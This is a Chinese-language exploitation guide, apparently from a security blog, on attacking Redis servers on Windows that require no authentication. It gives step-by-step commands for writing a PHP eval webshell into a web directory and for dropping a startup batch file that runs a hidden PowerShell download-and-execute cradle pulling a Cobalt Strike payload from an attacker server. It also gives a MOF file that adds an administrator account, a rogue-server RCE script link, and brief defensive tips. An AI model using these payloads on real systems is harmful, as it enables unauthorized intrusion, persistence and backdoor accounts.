windows环境redis未授权利用手法总结
字数 1001 2025-08-15 21:32:50
Redis未授权访问漏洞利用手法详解
漏洞产生原因
-
网络暴露问题:
- Redis绑定在0.0.0.0:6379默认端口
- 直接暴露在公网
- 无防火墙进行来源信任防护
-
认证缺失:
- 没有设置密码认证
- 可以免密远程登录Redis服务
漏洞危害
-
数据破坏:
- 攻击者可以恶意执行
flushall清空所有数据
- 攻击者可以恶意执行
-
代码执行:
- 通过
eval执行Lua代码 - 通过数据备份功能往磁盘写入后门文件
- 通过
-
权限提升:
- 若以root身份运行,攻击者可写入SSH公钥文件
- 直接通过SSH登录受害服务器
利用方式一:写入Webshell
前提条件
- 已知Web绝对路径
操作步骤
-
连接Redis服务:
redis-cli.exe -h [redis-server] -p 6379 -
设置保存目录为Web目录:
CONFIG SET dir c:/phpstudy/www -
设置保存文件名为PHP文件:
CONFIG SET dbfilename shell.php -
写入Webshell内容:
set x "<?php @eval($_POST['a']) ?>" -
保存到磁盘:
save -
访问生成的shell.php文件即可获得Webshell
利用方式二:启动项写入
Windows启动项路径
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
使用Cobalt Strike生成Payload
-
启动CS服务端:
./teamserver csip 123456 -
创建Listener监听器
-
生成Payload:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"
Redis写入启动项
-
设置保存目录为启动目录:
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" -
设置保存文件名:
CONFIG SET dbfilename 1.bat -
写入Payload(注意转义和换行):
set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"\r\n\r\n" -
保存到磁盘:
save -
目标机器重启后,Payload将自动执行
利用方式三:写入MOF文件(仅限Win2003)
MOF提权原理
- MOF文件位于
c:/windows/system32/wbem/mof/nullevt.mof - 系统每5秒自动执行一次该目录下的MOF文件
- 通过VBS脚本执行系统命令
操作步骤
-
创建admin.txt文件,内容如下:
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; -
格式化文件:
(echo -e "\n\n"; cat admin.txt; echo -e "\n\n") > foo.txt -
通过Redis写入MOF目录:
CONFIG SET dir "c:/windows/system32/wbem/mof/" CONFIG SET dbfilename "nullevt.mof" -
写入并保存文件
Linux下的利用方式
新版本RCE利用
- 参考Pavel Toporkov在WCTF2019 Final分享的方法
- 利用脚本:https://github.com/LoRexxar/redis-rogue-server
注意事项
- Redis数据量大时,写入的shell文件可能过大导致PHP拒绝执行
- Ubuntu/Debian写计划任务反弹可能无效
- 直接修改/etc/passwd会覆盖原有内容
- 生产环境避免使用
KEY *等可能造成服务崩溃的命令
防御措施
- 设置强密码认证
- 限制绑定IP,避免暴露在公网
- 使用防火墙限制访问来源
- 不以root身份运行Redis服务
- 定期更新Redis版本